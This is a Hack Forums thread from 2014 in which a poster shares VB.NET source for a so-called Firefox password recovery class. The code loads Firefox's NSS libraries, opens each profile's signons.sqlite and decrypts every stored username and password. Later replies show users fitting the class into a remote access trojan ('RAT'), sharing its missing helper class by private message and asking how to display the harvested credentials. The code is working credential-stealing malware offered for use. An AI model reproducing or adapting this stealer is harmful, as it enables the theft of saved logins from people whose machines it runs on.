

Forum:[Hack Forums](#)

Thread: [Firefox Password Recovery \[v11.0\]](#)

Dark N3BULA - November 18, 2014, 8:35 am

Here you go peeps.

```
Code Imports System.Collections.Generic
Imports System.Text
Imports System.Runtime.InteropServices
Imports System.IO
```

Class Firefox

```
    ' Firefox 11.0 password recovery
    '     * File: signons.sqlite
    '     * Table: moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField,
passwordField, encryptedUsername, encryptedPassword, guid, encType)
    '
```

```
    <DllImport("kernel32.dll")> _
    Private Shared Function LoadLibrary(dllFilePath As String) As IntPtr
    End Function
    Shared NSS3 As IntPtr
```

```
    Private Declare Ansi Function GetProcAddress Lib "kernel32" (hModule As IntPtr, procName As
String) As IntPtr
```

```
    <UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
    Public Delegate Function DLLFunctionDelegate(configdir As String) As Long
    Public Shared Function NSS_Init(configdir As String) As Long
        Dim MozillaPath As String = Environment.GetEnvironmentVariable("PROGRAMFILES") +
"\Mozilla Firefox\"
        Console.WriteLine("LoadLibrary: mozglue, nspr4, plc4, plds4, nssutil3, mozsqlite3, softokn3,
nss3.")
        Console.WriteLine(Convert.ToString("NSS initialized to: ") & configdir)
        LoadLibrary(MozillaPath & Convert.ToString("mozglue.dll"))
        LoadLibrary(MozillaPath & Convert.ToString("nspr4.dll"))
        LoadLibrary(MozillaPath & Convert.ToString("plc4.dll"))
        LoadLibrary(MozillaPath & Convert.ToString("plds4.dll"))
        LoadLibrary(MozillaPath & Convert.ToString("nssutil3.dll"))
        LoadLibrary(MozillaPath & Convert.ToString("mozsqlite3.dll"))
        LoadLibrary(MozillaPath & Convert.ToString("softokn3.dll"))
        NSS3 = LoadLibrary(MozillaPath & Convert.ToString("nss3.dll"))
        Dim pProc As IntPtr = GetProcAddress(NSS3, "NSS_Init")
        Dim dll As DLLFunctionDelegate = DirectCast(Marshal.GetDelegateForFunctionPointer(pProc,
GetType(DLLFunctionDelegate)), DLLFunctionDelegate)
        Return dll(configdir)
    End Function
```

```

<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate2() As Long
Public Shared Function PK11_GetInternalKeySlot() As Long
    Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_GetInternalKeySlot")
    Dim dll As DLLFunctionDelegate2 =
DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate2)),
DLLFunctionDelegate2)
    Return dll()
End Function

<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate3(slot As Long, loadCerts As Boolean, wincx As
Long) As Long
Public Shared Function PK11_Authenticate(slot As Long, loadCerts As Boolean, wincx As Long)
As Long
    Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11_Authenticate")
    Dim dll As DLLFunctionDelegate3 =
DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate3)),
DLLFunctionDelegate3)
    Return dll(slot, loadCerts, wincx)
End Function

<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate4(arenaOpt As IntPtr, outItemOpt As IntPtr, inStr
As StringBuilder, inLen As Integer) As Integer
Public Shared Function NSSBase64_DecodeBuffer(arenaOpt As IntPtr, outItemOpt As IntPtr,
inStr As StringBuilder, inLen As Integer) As Integer
    Dim pProc As IntPtr = GetProcAddress(NSS3, "NSSBase64_DecodeBuffer")
    Dim dll As DLLFunctionDelegate4 =
DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate4)),
DLLFunctionDelegate4)
    Return dll(arenaOpt, outItemOpt, inStr, inLen)
End Function

<UnmanagedFunctionPointer(CallingConvention.Cdecl)> _
Public Delegate Function DLLFunctionDelegate5(ByRef data As TSECItem, ByRef result As
TSECItem, cx As Integer) As Integer
Public Shared Function PK11SDR_Decrypt(ByRef data As TSECItem, ByRef result As
TSECItem, cx As Integer) As Integer
    Dim pProc As IntPtr = GetProcAddress(NSS3, "PK11SDR_Decrypt")
    Dim dll As DLLFunctionDelegate5 =
DirectCast(Marshal.GetDelegateForFunctionPointer(pProc, GetType(DLLFunctionDelegate5)),
DLLFunctionDelegate5)
    Return dll(data, result, cx)
End Function

<StructLayout(LayoutKind.Sequential)> _
Public Structure TSECItem
    Public SECItemType As Integer
    Public SECItemData As Integer
    Public SECItemLen As Integer
End Structure

```

```

Public Shared Function GetLoginData(keyword As String) As String
    Dim profilesPath As String = Environment.GetEnvironmentVariable("APPDATA") +
"\Mozilla\Firefox\Profiles"
    Dim r As String = ""
    Try
        For Each dir As String In Directory.GetDirectories(profilesPath)
            Dim signonsFile As String = IO.Path.Combine(dir, "signons.sqlite")
            If File.Exists(signonsFile) Then
                Console.WriteLine(Convert.ToString("Found: ") & signonsFile)

                NSS_Init(dir)
                PK11_Authenticate(PK11_GetInternalKeySlot(), True, 0)

                Dim sqlite As New SQLiteHandler(signonsFile)
                sqlite.ReadTable("moz_logins")

                '          0      1      2          3          4          5          6          7          8
9                ' moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField,
passwordField, encryptedUsername, encryptedPassword, guid, encType)

                Dim rowCount As Integer = sqlite.GetRowCount()
                For i As Integer = 0 To rowCount - 1
                    Dim hostName As String = sqlite.GetValue(i, 1)
                    Dim username As String = DecryptData(sqlite.GetValue(i, 6))
                    Dim password As String = DecryptData(sqlite.GetValue(i, 7))
                    If username IsNot Nothing AndAlso password IsNot Nothing Then
                        If [String].IsNullOrEmpty(keyword) Then
                            r += "Firefox ->" + Convert.ToString(" ") & hostName + " ->" +
Convert.ToString(" ") & username + " :" + Convert.ToString(" ") & password & "|"
                        ElseIf hostName.Contains(keyword) Then
                            r += "Firefox ->" + Convert.ToString(" ") & hostName + " ->" +
Convert.ToString(" ") & username + " :" + Convert.ToString(" ") & password & "|"
                        End If
                    End If
                Next
            End If
        Next
    Catch
    End Try
    Return r
End Function

Public Shared Function QueryFirefox(keyword As String) As String
    Dim profilesPath As String = Environment.GetEnvironmentVariable("APPDATA") +
"\Mozilla\Firefox\Profiles"
    Try
        For Each dir As String In Directory.GetDirectories(profilesPath)
            Dim signonsFile As String = IO.Path.Combine(dir, "signons.sqlite")
            If File.Exists(signonsFile) Then
                Console.WriteLine(Convert.ToString("Found: ") & signonsFile)

                NSS_Init(dir)

```

```

PK11_Authenticate(PK11_GetInternalKeySlot(), True, 0)

Dim sqlite As New SQLiteHandler(signonsFile)
sqlite.ReadTable("moz_logins")

'      0      1      2      3      4      5      6      7      8
9      ' moz_logins (id, hostname, httpRealm, formSubmitURL, usernameField,
passwordField, encryptedUsername, encryptedPassword, guid, encType)

Dim rowCount As Integer = sqlite.GetRowCount()
For i As Integer = 0 To rowCount - 1
    Dim hostName As String = sqlite.GetValue(i, 1)
    Dim username As String = DecryptData(sqlite.GetValue(i, 6))
    Dim password As String = DecryptData(sqlite.GetValue(i, 7))
    If username IsNot Nothing AndAlso password IsNot Nothing Then
        If [String].IsNullOrEmpty(keyword) Then
            Return Convert.ToString(username & Convert.ToString(":")) & password
        ElseIf hostName.Contains(keyword) Then
            Return Convert.ToString(username & Convert.ToString(":")) & password
        End If
    End If
Next
End If
Next
Catch
End Try
Return Nothing
End Function

Private Shared Function DecryptData(input As String) As String
    Dim bvRet As Byte()
    Dim tSec As New TSECItem()
    Dim se As New StringBuilder(input)
    Dim hi2 As Integer = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length)
    Dim item As TSECItem = CType(Marshal.PtrToStructure(New IntPtr(hi2),
GetType(TSECItem)), TSECItem)
    If PK11SDR_Decrypt(item, tSec, 0) = 0 Then
        If tSec.SECItemLen <> 0 Then
            bvRet = New Byte(tSec.SECItemLen - 1) {}
            Marshal.Copy(New IntPtr(tSec.SECItemData), bvRet, 0, tSec.SECItemLen)
            Return System.Text.Encoding.UTF8.GetString(bvRet)
        End If
    End If
    Return Nothing
End Function
End Class
Found it some where... dint really get time to c if its still legit..

```

nathan72389 - November 18, 2014, 8:52 am

no no, not out of date at all

also, this is the same thing thats constantly posted, and can easily be found.

Dark N3BULA - November 18, 2014, 8:54 am

damn i need to lay off the peyote dude

Ninja - November 18, 2014, 10:47 am

(Nov 18, 2014 09:52 AM)nathan72389 Wrote: [\[CITE\]](#) no no, not out of date at all

also, this is the same thing thats constantly posted, and can easily be found.
Lol amen to that. People just spam their shit everywhere hoping to get some attention.

Dark N3BULA - November 18, 2014, 10:50 am

?

Yea whatever dude ? check out my latest thread

IAmNotHere - December 17, 2014, 12:42 am

With ff version 34 installed:

[\[img\]http://s30.postimg.org/l9stulav/Capture.jpg\[/img\]](#)

Thanks Dark N3BULA.

samo dz - December 17, 2014, 12:41 pm

hey bro this class not worck whith me bcz SQLiteHandler why?

IAmNotHere - December 17, 2014, 12:50 pm

(Dec 17, 2014 01:41 PM)samo dz Wrote: [\[CITE\]](#) hey bro this class not worck whith me bcz SQLiteHandler why?

You have to add a SQLiteHandler class separate from the code given in this thread, that's why.

samo dz - December 17, 2014, 1:01 pm

can y give me this class cridit in my RAT
skyp:cobraxXx

IAmNotHere - December 17, 2014, 1:17 pm

Edit: @ samo dz,

The class is in your pm box.

samo dz - December 17, 2014, 1:36 pm

thank; bro before you give me the class i wa s have but haw it worck?

IAmNotHere - December 17, 2014, 2:29 pm

Add a new class in your mozilla password recovery project, delete the contents and fully paste the code I send you. Compile and run.

VanToMVB - December 19, 2014, 7:35 am

How can i call the class to get passwords to TextBox ?